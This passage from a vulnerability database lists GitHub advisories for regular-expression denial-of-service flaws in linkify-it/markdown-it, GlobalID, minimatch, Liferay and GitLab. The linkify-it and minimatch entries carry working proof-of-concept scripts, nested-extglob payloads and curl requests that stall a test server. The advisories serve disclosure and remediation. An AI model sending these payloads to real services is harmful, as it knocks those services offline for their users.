ms\nn=2000 bytes=16000 took 159 ms\nn=4000 bytes=32000 took 628 ms\nn=8000 bytes=64000 took 2506 ms\nn=16000 bytes=128000 took 9948 ms\n```\n\nDoubling N \u2192 ~4\u00d7 wall-clock, consistent with O(N\u00b2).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n const md = require(\u0027markdown-it\u0027)({ linkify: true })\n for (const n of [1000, 2000, 4000, 8000]) {\n const evil = \u0027a@b.com \u0027.repeat(n)\n const t0 = process.hrtime.bigint()\n md.render(evil)\n const ms = Number(process.hrtime.bigint() - t0) / 1e6\n console.log(\u0027n=\u0027 + n + \u0027 bytes=\u0027 + evil.length + \u0027 md.render=\u0027 + ms.toFixed(0) + \u0027ms\u0027)\n }\n\"\n```\n\n```\nn=1000 bytes=8000 md.render=45ms\nn=2000 bytes=16000 md.render=171ms\nn=4000 bytes=32000 md.render=672ms\nn=8000 bytes=64000 md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path \u2014 Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it \u2014 receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic \u2014 convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely \u2014 advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way \u2014 it\u0027s the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n const result = []\n let pos = 0\n while (this.testAt(text, pos)) {\n result.push(createMatch(this, 0))\n pos = this.__last_index__\n }\n return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` \u2192 `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` \u2192 `{}`)\n- markdown-it\u0027s only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it\u0027s own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.",
"id": "GHSA-22p9-wv53-3rq4",
"modified": "2026-06-26T20:47:58Z",
"published": "2026-06-26T20:47:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
},
{
"type": "PACKAGE",
"url": "https://github.com/markdown-it/linkify-it"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LinkifyIt#match scan loop has quadratic algorithmic complexity"
}
GHSA-23C2-GWP5-PXW9
Vulnerability from github – Published: 2023-01-18 18:13 – Updated: 2023-09-18 20:31There is a ReDoS based DoS vulnerability in the GlobalID gem. This vulnerability has been assigned the CVE identifier CVE-2023-22799.
Versions Affected: >= 0.2.1 Not affected: NOTAFFECTED Fixed Versions: 1.0.1 Impact
There is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately. Releases
The FIXED releases are available at the normal locations. Workarounds
There are no feasible workarounds for this issue. Patches
To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
1-0-model-name-redos.patch - Patch for 1.0 series
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "globalid"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.1"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-22799"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-18T18:13:19Z",
"nvd_published_at": "2023-02-09T20:15:00Z",
"severity": "LOW"
},
"details": "There is a ReDoS based DoS vulnerability in the GlobalID gem. This vulnerability has been assigned the CVE identifier CVE-2023-22799.\n\nVersions Affected: \u003e= 0.2.1 Not affected: NOTAFFECTED Fixed Versions: 1.0.1\nImpact\n\nThere is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.\nReleases\n\nThe FIXED releases are available at the normal locations.\nWorkarounds\n\nThere are no feasible workarounds for this issue.\nPatches\n\nTo aid users who aren\u2019t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n 1-0-model-name-redos.patch - Patch for 1.0 series\n",
"id": "GHSA-23c2-gwp5-pxw9",
"modified": "2023-09-18T20:31:36Z",
"published": "2023-01-18T18:13:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22799"
},
{
"type": "WEB",
"url": "https://github.com/rails/globalid/commit/4a75ecbfd73a8e92e32a1723b81a17e3136bd8fc"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/cve-2023-22799-possible-redos-based-dos-vulnerability-in-globalid/82127"
},
{
"type": "PACKAGE",
"url": "https://github.com/rails/globalid"
},
{
"type": "WEB",
"url": "https://github.com/rails/globalid/releases/tag/v1.0.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/globalid/CVE-2023-22799.yml"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "ReDoS based DoS vulnerability in GlobalID"
}
GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27904"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-23W4-RPC6-WPCC
Vulnerability from github – Published: 2025-08-23 06:30 – Updated: 2025-08-25 20:47Self-ReDoS (Regular expression Denial of Service) exists with Role Name search field of Kaleo Designer portlet JavaScript in Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.1, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.1 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.20 and 7.4 GA through update 92, which allows authenticated users with permissions to update Kaleo Workflows to enter a malicious Regex pattern causing their browser to hang for a very long time.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.portal.workflow.kaleo.designer.web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.145"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43764"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-25T20:47:51Z",
"nvd_published_at": "2025-08-23T05:15:30Z",
"severity": "MODERATE"
},
"details": "Self-ReDoS (Regular expression Denial of Service) exists with Role Name search field of Kaleo Designer portlet JavaScript in Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.1, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.1 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.20 and 7.4 GA through update 92, which allows authenticated users with permissions to update Kaleo Workflows to enter a malicious Regex pattern causing their browser to hang for a very long time.",
"id": "GHSA-23w4-rpc6-wpcc",
"modified": "2025-08-25T20:47:51Z",
"published": "2025-08-23T06:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43764"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/12a076172494707748325836b3d5236507be0490"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.atlassian.net/browse/LPE-18148"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43764"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay Portal ReDoS with Role Name search in KaleoDesignerPortlet"
}
GHSA-26WQ-535G-R2W5
Vulnerability from github – Published: 2024-04-12 03:30 – Updated: 2024-04-12 03:30An issue has been discovered in GitLab EE affecting all versions before 16.8.6, all versions starting from 16.9 before 16.9.4, all versions starting from 16.10 before 16.10.2. It was possible for an attacker to cause a denial of service using malicious crafted content in a junit test report file.
{
"affected": [],
"aliases": [
"CVE-2023-6678"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-12T01:15:57Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab EE affecting all versions before 16.8.6, all versions starting from 16.9 before 16.9.4, all versions starting from 16.10 before 16.10.2. It was possible for an attacker to cause a denial of service using malicious crafted content in a junit test report file.",
"id": "GHSA-26wq-535g-r2w5",
"modified": "2024-04-12T03:30:42Z",
"published": "2024-04-12T03:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6678"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2268037"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/434689"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
